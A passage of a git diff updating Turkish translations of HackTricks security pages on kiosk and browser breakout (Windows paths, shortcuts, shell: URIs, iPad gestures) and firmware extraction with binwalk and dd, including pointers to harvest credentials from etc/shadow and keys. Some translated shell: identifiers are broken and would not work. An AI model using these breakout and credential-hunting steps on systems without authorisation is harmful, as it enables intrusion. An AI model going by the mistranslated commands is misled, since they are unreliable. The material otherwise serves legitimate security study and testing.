File:/C:/windows/ | File:/C:/windows\\ | File:/C:\windows | -| File:/C:\windows\\ | File:/C:\windows/ | File://C:/windows | File://C:/windows/ | -| File://C:/windows\\ | File://C:\windows | File://C:\windows/ | File://C:\windows\\ | -| C:/windows | C:/windows/ | C:/windows\\ | C:\windows | -| C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% | -| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% | -| %HOMEDRIVE% | %HOMESHARE | |


| ### Kısayollar * Sticky Keys – SHIFT tuşuna 5 kez basın @@ -123,7 +106,7 @@ Kayıt defteri düzenleyici: [https://sourceforge.net/projects/uberregedit/](htt * WINDOWS+R – Çalıştır * WINDOWS+U – Kolay Erişim Merkezi * WINDOWS+F – Arama -* SHIFT+F10 – İçerik Menüsü +* SHIFT+F10 – Bağlam Menüsü * CTRL+SHIFT+ESC – Görev Yöneticisi * CTRL+ALT+DEL – Yeni Windows sürümlerinde başlangıç ekranı * F1 – Yardım F3 – Arama @@ -135,44 +118,44 @@ Kayıt defteri düzenleyici: [https://sourceforge.net/projects/uberregedit/](htt * CTRL+O – Dosya Aç * CTRL+S – Kaydet CTRL+N – Yeni RDP / Citrix -### Kaydırmalar +### Kaydırma -* Sol kenardan sağa kaydırarak tüm açık Pencereleri görebilir, KIOSK uygulamasını küçültebilir ve doğrudan işletim sistemine erişebilirsiniz; -* Sağ kenardan sola kaydırarak Eylem Merkezi'ni açabilir, KIOSK uygulamasını küçültebilir ve doğrudan işletim sistemine erişebilirsiniz; +* Sol kenardan sağa kaydırarak tüm açık Pencereleri görebilir, KIOSK uygulamasını küçülterek tüm işletim sistemine doğrudan erişebilirsiniz; +* Sağ kenardan sola kaydırarak Eylem Merkezi'ni açabilir, KIOSK uygulamasını küçülterek tüm işletim sistemine doğrudan erişebilirsiniz; * Üst kenardan içeri kaydırarak tam ekran modunda açılan bir uygulama için başlık çubuğunu görünür hale getirebilirsiniz; -* Alt kenardan yukarı kaydırarak tam ekran uygulamada görev çubuğunu gösterebilirsiniz. +* Alt kenardan yukarı kaydırarak tam ekran bir uygulamada görev çubuğunu gösterebilirsiniz. ### İnternet Explorer Hileleri #### 'Resim Araç Çubuğu' -Resme tıklandığında üst sol köşede görünen bir araç çubuğudur. Kaydetme, Yazdırma, Mailto, "Resimlerim"i Gezgini'nde Açma gibi işlemleri yapabilirsiniz. Kiosk'un Internet Explorer kullanıyor olması gerekmektedir. +Tıklanıldığında resmin sol üst köşesinde görünen bir araç çubuğudur. Kaydetme, Yazdırma, Mailto, "Resimlerim"i Gezgini'nde Açma gibi işlemleri yapabilirsiniz. Kiosk'un İnternet Explorer kullanıyor olması gerekmektedir. #### Shell Protokolü Explorer görünümü elde etmek için bu URL'leri yazın: -* `shell:Administrative Tools` -* `shell:DocumentsLibrary` -* `shell:Libraries` -* `shell:UserProfiles` -* `shell:Personal` -* `shell:SearchHomeFolder` -* `shell:NetworkPlacesFolder` -* `shell:SendTo` -* `shell:UserProfiles` -* `shell:Common Administrative Tools` -* `shell:MyComputerFolder` -* `shell:InternetFolder` -* `Shell:Profile` -* `Shell:ProgramFiles` -* `Shell:System` -* `Shell:ControlPanelFolder` +* `shell:Yönetim Araçları` +* `shell:Belgeler Kütüphanesi` +* `shell:Kütüphaneler` +* `shell:Kullanıcı Profilleri` +* `shell:Kişisel` +* `shell:AramaAnaKlasör` +* `shell:AğYerleriKlasörü` +* `shell:Gönder` +* `shell:KullanıcıProfilleri` +* `shell:Ortak Yönetim Araçları` +* `shell:BilgisayarımKlasörü` +* `shell:İnternetKlasörü` +* `Shell:Profil` +* `Shell:ProgramDosyaları` +* `Shell:Sistem` +* `Shell:DenetimMasasıKlasörü` * `Shell:Windows` * `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Denetim Masası * `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> Bilgisayarım * `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Ağ Yerlerim -* `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer +* `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> İnternet Explorer ### Dosya Uzantılarını Göster @@ -180,7 +163,7 @@ Daha fazla bilgi için bu sayfaya bakın: [https://www.howtohaven.com/system/sho ## Tarayıcı Hileleri -iKat sürümlerini yedekleyin: +Yedek iKat sürümleri: [http://swin.es/k/](http://swin.es/k/)\ [http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\ @@ -192,34 +175,34 @@ Kaynak: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de1981 ### Jestler ve Düğmeler -* Dört (veya beş) parmakla yukarı kaydırın / Ana düğmeye çift dokunun: Çoklu görev görünümünü görmek ve Uygulama değiştirmek için +* Dört (veya beş) parmakla yukarı kaydırın / Ana düğmeye iki kez dokunun: Çoklu görev görünümünü görmek ve Uygulama değiştirmek için * Dört veya beş parmakla bir yöne kaydırın: Bir sonraki/önceki Uygulamaya geçmek için -* Beş parmakla ekrana sıkıştırın / Ana düğmeye dokunun / Ekrana hızlı bir şekilde alttan yukarı doğru bir parmakla kaydırın: Ana ekrana erişmek için -* Ekrana alttan 1-2 inç (yavaşça) bir parmakla kaydırın: Dock görünecektir -* Ekrana üstten 1 parmakla aşağı doğru kaydırın: Bildirimlerinizi görmek için -* Ekranın sağ üst köşesinden 1 parmakla aşağı doğru kaydırın: iPad Pro'nun kontrol merkezini görmek için -* Ekrandan sol kenara doğru 1-2 inçlik bir parmakla kaydırın: Bugün görünümünü görmek için -* Ekrandan hızlıca sağa veya sola doğru 1 parmakla kaydırın: Bir sonraki/önceki Uygulamaya geçmek için -* Üst sağ köşesindeki On/**Off**/Sleep düğmesini basılı tutun + Kaydırmayı sağa doğru hareket ettirin: Kapatmak için -* Üst sağ köşesindeki On/**Off**/Sleep düğmesine ve Ana düğmeye birkaç saniye basın: Zorla kapatmak için -* Üst sağ köşesindeki On/**Off**/Sleep düğmesine ve Ana düğmeye hızlıca basın: Ekranda sol alt köşede belirecek bir ekran görüntüsü almak için. Her iki düğmeye de aynı anda çok kısa süre basın, birkaç saniye basılı tutarsanız zorla kapatma gerçekleşir. +* Beş parmakla ekrana yaklaşın / Ana düğmeye dokunun / Ekrana alttan hızlı bir şekilde bir parmakla yukarı kaydırın: Ana ekrana erişmek için +* Bir parmakla ekranın altından yavaşça 1-2 inç yukarı kaydırın: Dock görünecektir +* Bir parmakla ekranın üstünden aşağı doğru kaydırın: Bildirimlerinizi görmek için +* Ekranın sağ üst köşesinden bir parmakla aşağı doğru kaydırın: iPad Pro'nun kontrol merkezini görmek için +* Ekranın solundan bir parmakla 1-2 inç kaydırın: Bugün görünümünü görmek için +* Ekrandan hızlı bir şekilde sağa veya sola doğru bir parmakla kaydırın: Bir sonraki/önceki Uygulamaya geçmek için +* Üst sağ köşesindeki On/**Kapalı**/Uyku düğmesini basılı tutun + Kaydırıcıyı sağa kadar tüm yol boyunca kaydırın: Kapatmak için +* Üst sağ köşesindeki On/**Kapalı**/Uyku düğmesine ve Ana düğmeye birkaç saniye basılı tutun: Zorla kapatmak için +* Üst sağ köşesindeki On/**Kapalı**/Uyku düğmesine ve Ana düğmeye hızlıca basın: Ekranda sol alt köşede belirecek bir ekran görüntüsü almak için. Her iki düğmeye de aynı anda çok kısa süre basın, birkaç saniye basılı tutarsanız zorla kapatma gerçekleşir. ### Kısayollar -Bir iPad klavyeniz veya USB klavye adaptörünüz olmalıdır. Uygulamadan kaçmanıza yardımcı olabilecek yalnızca kısayollar burada gösterilecektir. +Bir iPad klavyesine veya USB klavye adaptörüne sahip olmalısınız. Sadece uygulamadan kaçmanıza yardımcı olabilecek kısayollar burada gösterilecektir. -| Tuş | İsim | +| Tuş | Adı | | --- | ------------ | -| ⌘ | Komut | -| ⌥ | Seçenek (Alt) | +| ⌘ | Komut | +| ⌥ | Seçenek (Alt)| | ⇧ | Shift | | ↩ | Return | -| ⇥ | Sekme | +| ⇥ | Sekme | | ^ | Kontrol | -| ← | Sol Ok | -| → | Sağ Ok | -| ↑ | Yukarı Ok | -| ↓ | Aşağı Ok | +| ← | Sol Ok | +| → | Sağ Ok | +| ↑ | Yukarı Ok | +| ↓ | Aşağı Ok | #### Sistem kısayolları @@ -227,69 +210,69 @@ Bu kısayollar, iPad'in kullanımına bağlı olarak görsel ayarlar ve ses ayar | Kısayol | Eylem | | -------- | ------------------------------------------------------------------------------ | -| F1 | Ekranı Karart | +| F1 | Ekranı Karart | | F2 | Ekranı Parlakla | -| F7 | Bir şarkı geri al | -| F8 | Oynat/Duraklat | -| F9 | Bir sonraki şarkıya atla | -| F10 | Sessiz | -| F11 | Ses düzeyini azalt | -| F12 | Ses düzeyini artır | -| ⌘ Space | Mevcut dillerin listesini görüntüle; birini seçmek için tekrar boşluğa dokunun. | +| F7 | Bir şarkı geriye git | +| F8 | Oynat/Duraklat | +| F9 | Bir şarkı ileri git | +| F10 | Sessizleştir | +| F11 | Ses düzeyini azalt | +| F12 | Ses düzeyini artır | +| ⌘ Boşluk| Mevcut dillerin listesini görüntüler; birini seçmek için tekrar boşluğa dokunun. | #### iPad gezinme | Kısayol | Eylem | | -------------------------------------------------- | ------------------------------------------------------- | -| ⌘H | Ana ekrana git | -| ⌘⇧H (Komut-Shift-H) | Ana ekrana git | -| ⌘ (Space) | Spotlight'ı Aç | -| ⌘⇥ (Komut-Tab) | Son on kullanılan uygulamaları listele | -| ⌘\~ | Son Uygulamaya Git | +| ⌘H | Ana Ekrana Git | +| ⌘⇧H (Komut-Shift-H) | Ana Ekrana Git | +| ⌘ (Boşluk) | Spotlight'ı Aç | +| ⌘⇥ (Komut-Tab) | Son on kullanılan uygulamaları listeler | +| ⌘\~ | Son Uygulamaya Git | | ⌘⇧3 (Komut-Shift-3) | Ekran Görüntüsü Al (alt sol köşede kaydetme veya işlem yapma) | -| ⌘⇧4 | Ekran Görüntüsü Al ve düzenleyicide aç | -| ⌘'yi basılı tutun | Uygulama için kullanılabilir kısayolların listesi | -| ⌘⌥D (Komut-Option/Alt-D) | Dock'u aç | -| ^⌥H (Kontrol-Option-H) | Ana düğme | -| ^⌥H H (Kontrol-Option-H-H) | Çoklu görev çubuğunu göster | -| ^⌥I (Kontrol-Option-i) | Öğe seçici | -| Escape | Geri düğmesi | -| → (Sağ ok) | Sonraki öğe | -| ← (Sol ok) | Önceki öğe | -| ↑↓ (Yukarı ok, Aşağı ok) | Seçili öğeye aynı anda dokunun | -| ⌥ ↓ (Alt-Aşağı ok) | Aşağı kaydır | -| ⌥↑ (Alt-Yukarı ok) | Yukarı kaydır | -| ⌥← veya ⌥→ (Alt-Sol ok veya Alt-Sağ ok) | Sola veya sağa kaydır | -| ^⌥S (Kontrol-Option-S) | VoiceOver konuşmasını aç veya kapat | -| ⌘⇧⇥ (Komut-Shift-Tab) | Önceki uygulamaya geç | -| ⌘⇥ (Komut-Tab) | Orijinal uygulamaya geri dön | -| ←+→, sonra Option + ← veya Option+→ | Dock'ta gezinmek için | +| ⌘⇧4 | Ekran Görüntüsü Al ve düzenleyicide aç | +| ⌘'yi basılı tutun | Uygulama için mevcut kısayolların listesi | +| ⌘⌥D (Komut-Option/Alt-D) | Dock'u açar | +| ^⌥H (Kontrol-Option-H) | Ana düğme | +| ^⌥H H (Kontrol-Option-H-H) | Çoklu görev çubuğunu göster | +| ^⌥I (Kontrol-Option-i) | Öğe seçici | +| Escape | Geri düğmesi | +| → (Sağ ok) | Sonraki öğe | +| ← (Sol ok) | Önceki öğe | +| ↑↓ (Yukarı ok, Aşağı ok) | Seçili öğeye aynı anda dokun | +| ⌥ ↓ (Seçenek-Aşağı ok) | Aşağı kaydır | +| ⌥↑ (Seçenek-Yukarı ok) | Yukarı kaydır | +| ⌥← veya ⌥→ (Seçenek-Sol ok veya Seçenek-Sağ ok) | Sola veya sağa kaydır | +| ^⌥S (Kontrol-Option-S) | VoiceOver konuşmasını aç veya kapat | +| ⌘⇧⇥ (Komut-Shift-Tab) | Önceki uygulamaya geç | +| ⌘⇥ (Komut-Tab) | Orijinal uygulamaya geri dön | +| ←+→, sonra Seçenek + ← veya Seçenek+→ | Dock'tan geçiş yap | #### Safari kısayolları | Kısayol | Eylem | | ----------------------- | ----------------------------------------------- | -| ⌘L (Command-L) | Konumu Aç | -| ⌘T | Yeni bir sekme aç | -| ⌘W | Geçerli sekmeyi kapat | -| ⌘R | Geçerli sekmeyi yenile | -| ⌘. | Geçerli sekmeyi yüklemeyi durdur | -| ^⇥ | Sonraki sekmeye geçiş yap | -| ^⇧⇥ (Control-Shift-Tab) | Önceki sekmeye geçiş yap | -| ⌘L | Metin girişi/URL alanını seçerek düzenleme yap | -| ⌘⇧T (Command-Shift-T) | Son kapatılan sekmeyi aç (birkaç kez kullanılabilir) | -| ⌘\[ | Tarayıcı geçmişinde bir sayfa geri git | -| ⌘] | Tarayıcı geçmişinde bir sayfa ileri git | -| ⌘⇧R | Okuyucu Modunu Aktive Et | +| ⌘L (Command-L) | Konumu Aç | +| ⌘T | Yeni bir sekme aç | +| ⌘W | Geçerli sekmeyi kapat | +| ⌘R | Geçerli sekmeyi yenile | +| ⌘. | Geçerli sekmeyi yüklemeyi durdur | +| ^⇥ | Sonraki sekmeye geçiş yap | +| ^⇧⇥ (Control-Shift-Tab) | Önceki sekmeye geçiş yap | +| ⌘L | Metin girişi/URL alanını seçerek düzenleme yap | +| ⌘⇧T (Command-Shift-T) | Son kapatılan sekmeyi aç (birkaç kez kullanılabilir) | +| ⌘\[ | Tarayıcı geçmişinde bir sayfa geri git | +| ⌘] | Tarayıcı geçmişinde bir sayfa ileri git | +| ⌘⇧R | Okuyucu Modunu Aktive Et | #### Mail kısayolları | Kısayol | Eylem | | -------------------------- | ---------------------------- | -| ⌘L | Konumu Aç | -| ⌘T | Yeni bir sekme aç | -| ⌘W | Geçerli sekmeyi kapat | -| ⌘R | Geçerli sekmeyi yenile | -| ⌘. | Geçerli sekmeyi yüklemeyi durdur | +| ⌘L | Konumu Aç | +| ⌘T | Yeni bir sekme aç | +| ⌘W | Geçerli sekmeyi kapat | +| ⌘R | Geçerli sekmeyi yenile | +| ⌘. | Geçerli sekmeyi yüklemeyi durdur | | ⌘⌥F (Command-Option/Alt-F) | Posta kutunuzda arama yap | ## Referanslar @@ -303,7 +286,7 @@ Bu kısayollar, iPad'in kullanımına bağlı olarak görsel ayarlar ve ses ayar
-[**WhiteIntel**](https://whiteintel.io), **karanlık ağ** destekli bir arama motorudur ve şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **etkilenip etkilenmediğini** kontrol etmek için **ücretsiz** işlevsellikler sunar. +[**WhiteIntel**](https://whiteintel.io), **karanlık ağ** destekli bir arama motorudur ve şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **etkilenip etkilenmediğini** kontrol etmek için **ücretsiz** işlevler sunar. WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir. @@ -311,16 +294,17 @@ Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz: {% embed url="https://whiteintel.io" %} +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitimi AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitimi GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) -* [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin -* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR'lar göndererek paylaşın.** +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar gönderin.
+{% endhint %} diff --git a/hardware-physical-access/firmware-analysis/README.md b/hardware-physical-access/firmware-analysis/README.md index bf0705410..720feda60 100644 --- a/hardware-physical-access/firmware-analysis/README.md +++ b/hardware-physical-access/firmware-analysis/README.md @@ -1,28 +1,29 @@ # Firmware Analizi +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## **Giriş** -Firmware, cihazların donanım bileşenleri arasındaki iletişimi yöneterek ve kolaylaştırarak kullanıcıların etkileşimde bulunduğu yazılım ile cihazların doğru bir şekilde çalışmasını sağlayan temel bir yazılımdır. Cihazın açıldığı anda önemli talimatları erişebilmesini sağlayan kalıcı bellekte depolanır ve işletim sisteminin başlatılmasına yol açar. Firmware'in incelenmesi ve potansiyel olarak değiştirilmesi, güvenlik açıklarını belirlemede kritik bir adımdır. +Firmware, cihazların donanım bileşenleri ile kullanıcıların etkileşimde bulunduğu yazılım arasındaki iletişimi yöneterek cihazların doğru bir şekilde çalışmasını sağlayan temel bir yazılımdır. Cihazın açıldığı anda önemli talimatları erişebilmesini sağlayan kalıcı bellekte depolanır ve işletim sisteminin başlatılmasına yol açar. Firmware'in incelenmesi ve potansiyel olarak değiştirilmesi, güvenlik açıklarının belirlenmesinde kritik bir adımdır. ## **Bilgi Toplama** **Bilgi toplama**, bir cihazın yapısını ve kullandığı teknolojileri anlamanın kritik ilk adımıdır. Bu süreç, şunlar hakkında veri toplamayı içerir: -* Çalıştığı CPU mimarisi ve işletim sistemi +* CPU mimarisi ve çalıştırdığı işletim sistemi * Bootloader özellikleri * Donanım düzeni ve veri sayfaları * Kod tabanı metrikleri ve kaynak konumları @@ -31,27 +32,27 @@ Firmware, cihazların donanım bileşenleri arasındaki iletişimi yöneterek ve * Mimarlık ve akış diyagramları * Güvenlik değerlendirmeleri ve belirlenen güvenlik açıkları -Bu amaçla, **açık kaynak istihbaratı (OSINT)** araçları çok değerlidir ve mevcut açık kaynak yazılım bileşenlerinin manuel ve otomatik inceleme süreçleriyle analizi de önemlidir. [Coverity Scan](https://scan.coverity.com) ve [Semmle’s LGTM](https://lgtm.com/#explore) gibi araçlar, potansiyel sorunları bulmak için kullanılabilecek ücretsiz statik analiz sunar. +Bu amaçla, **açık kaynak istihbaratı (OSINT)** araçları çok değerlidir ve mevcut açık kaynaklı yazılım bileşenlerinin manuel ve otomatik inceleme süreçleriyle analiz edilmesi de önemlidir. [Coverity Scan](https://scan.coverity.com) ve [Semmle’s LGTM](https://lgtm.com/#explore) gibi araçlar, potansiyel sorunları bulmak için kullanılabilecek ücretsiz statik analiz sunar. ## **Firmware Edinme** -Firmware'e ulaşma, kendi karmaşıklık seviyesine sahip çeşitli yöntemlerle ele alınabilir: +Firmware elde etme, kendi karmaşıklık seviyesine sahip çeşitli yöntemlerle ele alınabilir: -* **Kaynaktan doğrudan** (geliştiriciler, üreticiler) +* **Kaynaktan** (geliştiriciler, üreticiler) doğrudan * Sağlanan talimatlarla **oluşturarak** * Resmi destek sitelerinden **indirerek** * Barındırılan firmware dosyalarını bulmak için **Google dork** sorgularını kullanma * [S3Scanner](https://github.com/sa7mon/S3Scanner) gibi araçlarla doğrudan **bulut depolama** erişimi -* Orta adam saldırı teknikleriyle güncellemeleri **intercept etme** +* Orta adam saldırısı teknikleriyle güncellemeleri **araştırarak** * **UART**, **JTAG** veya **PICit** gibi bağlantılar aracılığıyla cihazdan **çıkarma** * Cihaz iletişimi içindeki güncelleme isteklerini **sızdırma** -* **Sabitlenmiş güncelleme uç noktalarını** tanımlama ve kullanma -* **Bootloader'dan veya ağdan** **dökme** -* Tüm diğer yöntemler başarısız olduğunda, uygun donanım araçlarını kullanarak depolama çipini **çıkarıp okuma** +* Tanımlama ve **sabitlenmiş güncelleme uç noktalarını** kullanma +* **Bootloader'dan veya ağdan** dump alma +* Tüm diğer yöntemler başarısız olduğunda, uygun donanım araçları kullanarak depolama yongasını **çıkararak ve okuyarak** ## Firmware'in Analizi -Şimdi **firmware'e sahip olduğunuza** göre, onun hakkında bilgi çıkarmak için bilgi çıkarmalısınız. Bunun için kullanabileceğiniz farklı araçlar: +Şimdi **firmware'e** sahip olduğunuza göre, onun hakkında bilgi çıkarmak için farklı araçlar kullanmanız gerekmektedir: ```bash file strings -n8 @@ -62,22 +63,22 @@ fdisk -lu #lists a drives partition and filesystems if multiple ``` Eğer bu araçlarla çok fazla şey bulamazsanız, görüntünün **entropisini** `binwalk -E ` ile kontrol edin, düşük entropi ise muhtemelen şifrelenmemiştir. Yüksek entropi ise muhtemelen şifrelenmiştir (veya bir şekilde sıkıştırılmıştır). -Ayrıca, bu araçları kullanarak **firmware içine gömülü dosyaları çıkarabilirsiniz**: +Ayrıca, firmware içine gömülü **dosyaları çıkarmak için bu araçları kullanabilirsiniz**: {% content-ref url="../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md" %} [file-data-carving-recovery-tools.md](../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md) {% endcontent-ref %} -Ya da [**binvis.io**](https://binvis.io/#/) ([kod](https://code.google.com/archive/p/binvis/)) ile dosyayı inceleyebilirsiniz. +Ya da dosyayı incelemek için [**binvis.io**](https://binvis.io/#/) ([kod](https://code.google.com/archive/p/binvis/)) kullanabilirsiniz. ### Dosya Sistemi Elde Etme -Önceki yorumlanmış araçlar gibi `binwalk -ev ` ile **dosya sistemini çıkarmış olmanız gerekir**.\ -Binwalk genellikle bunu, genellikle squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs gibi olan **dosya sistemine adanmış bir klasörün içine çıkarır**. +Önceki yorumlanmış araçlar gibi `binwalk -ev ` ile **dosya sistemini çıkarmış olmanız gerekiyor**.\ +Binwalk genellikle bunu, genellikle şunlardan biri olan **dosya sistemi türü adında bir klasörün içine çıkarır**: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs. #### Manuel Dosya Sistemi Çıkarma -Bazı durumlarda, binwalk'ün imzalarında **dosya sisteminin sihirli baytı olmayabilir**. Bu durumlarda, binwalk'ü kullanarak **dosya sisteminin ofsetini bulun ve sıkıştırılmış dosya sistemini kesin** ve dosya sistemini türüne göre aşağıdaki adımları kullanarak **manuel olarak çıkarın**. +Bazı durumlarda, binwalk'ün imzalarında **dosya sisteminin sihirli baytı olmayabilir**. Bu durumlarda, binwalk'ü kullanarak **dosyanın dosya sistemi ofsetini bulun ve sıkıştırılmış dosya sistemini kesin** ve aşağıdaki adımları kullanarak dosya sistemini **el ile çıkarın**. ``` $ binwalk DIR850L_REVB.bin @@ -101,47 +102,35 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs ``` Alternatif olarak, aşağıdaki komut da çalıştırılabilir. -```shell -$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs -``` +`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs` * Squashfs için (yukarıdaki örnekte kullanıldı) -```shell -$ unsquashfs dir.squashfs -``` +`$ unsquashfs dir.squashfs` Dosyalar daha sonra "`squashfs-root`" dizininde olacaktır. * CPIO arşiv dosyaları -```shell -$ cpio -ivd --no-absolute-filenames -F -``` +`$ cpio -ivd --no-absolute-filenames -F ` * Jffs2 dosya sistemleri için -```shell -$ jefferson rootfsfile.jffs2 -``` +`$ jefferson rootfsfile.jffs2` * NAND flaş ile ubifs dosya sistemleri için -```shell -$ ubireader_extract_images -u UBI -s -``` +`$ ubireader_extract_images -u UBI -s ` -```shell -$ ubidump.py -``` +`$ ubidump.py ` ## Firmware Analizi -Firmware elde edildikten sonra, yapısını anlamak ve potansiyel güvenlik açıklarını belirlemek için parçalamak esastır. Bu süreç, firmware görüntüsünden değerli verileri çıkarmak ve analiz etmek için çeşitli araçların kullanılmasını içerir. +Firmware elde edildikten sonra, yapısını anlamak ve potansiyel güvenlik açıklarını belirlemek için parçalamak esastır. Bu süreç, firmware görüntüsünden değerli verileri analiz etmek ve çıkarmak için çeşitli araçların kullanılmasını içerir. ### İlk Analiz Araçları -İkili dosyanın ( `` olarak adlandırılan) ilk incelemesi için bir dizi komut sağlanmıştır. Bu komutlar, dosya türlerini tanımlamaya, dizeleri çıkarmaya, ikili verileri analiz etmeye ve bölüm ve dosya sistem ayrıntılarını anlamaya yardımcı olur: +İkili dosyanın ( `` olarak adlandırılan) ilk incelemesi için bir dizi komut sağlanmıştır. Bu komutlar, dosya türlerini tanımlamaya, dizeleri çıkarmaya, ikili verileri analiz etmeye ve bölüm ve dosya sistem detaylarını anlamaya yardımcı olur: ```bash file strings -n8 @@ -150,13 +139,13 @@ hexdump -C -n 512 > hexdump.out hexdump -C | head #useful for finding signatures in the header fdisk -lu #lists partitions and filesystems, if there are multiple ``` -Görüntünün şifreleme durumunu değerlendirmek için **entropy** değeri `binwalk -E ` komutu ile kontrol edilir. Düşük entropy değeri şifreleme eksikliğini, yüksek entropy değeri ise olası şifreleme veya sıkıştırmayı gösterebilir. +Şifreleme durumunu değerlendirmek için **entropy** değeri `binwalk -E ` komutu ile kontrol edilir. Düşük entropy değeri şifreleme eksikliğini, yüksek entropy değeri ise olası şifreleme veya sıkıştırmayı gösterebilir. -**Gömülü dosyaları** çıkarmak için **file-data-carving-recovery-tools** belgeleri ve dosya incelemesi için **binvis.io** gibi araçlar ve kaynaklar önerilir. +**Gömülü dosyaları** çıkarmak için, **file-data-carving-recovery-tools** belgeleri ve dosya incelemesi için **binvis.io** gibi araçlar ve kaynaklar önerilir. ### Dosya Sisteminin Çıkarılması -`binwalk -ev ` komutunu kullanarak genellikle dosya sistemi çıkarılabilir, genellikle dosya sistemi türünün adını taşıyan bir dizine (örneğin, squashfs, ubifs) çıkarılır. Ancak, **binwalk** dosya sistemi türünü tanıyamadığında sihirli baytların eksikliği nedeniyle manuel çıkarma gereklidir. Bu, `binwalk`'ın dosya sisteminin ofsetini bulmasını ve ardından `dd` komutunu kullanarak dosya sisteminin çıkarılmasını içerir: +`binwalk -ev ` kullanılarak genellikle dosya sistemi çıkarılabilir, genellikle dosya sistemi türünün adını taşıyan bir dizine (örneğin, squashfs, ubifs) çıkarılır. Ancak, **binwalk** dosya sistemi türünü tanıyamadığında sihirli baytların eksik olması nedeniyle manuel çıkarma gereklidir. Bu, `binwalk`'ın dosya sisteminin ofsetini bulmak için kullanılmasını ve ardından `dd` komutunun dosya sisteminin çıkarılmasını içerir: ```bash $ binwalk DIR850L_REVB.bin @@ -171,7 +160,7 @@ Dosya sistemi çıkarıldıktan sonra, güvenlik açıklarının aranmasına ba - Kullanıcı kimlik bilgileri için **etc/shadow** ve **etc/passwd** - **etc/ssl** içindeki SSL sertifikaları ve anahtarlar - Potansiyel güvenlik açıkları için yapılandırma ve betik dosyaları -- İleriki analiz için gömülü ikili dosyalar +- İleri analiz için 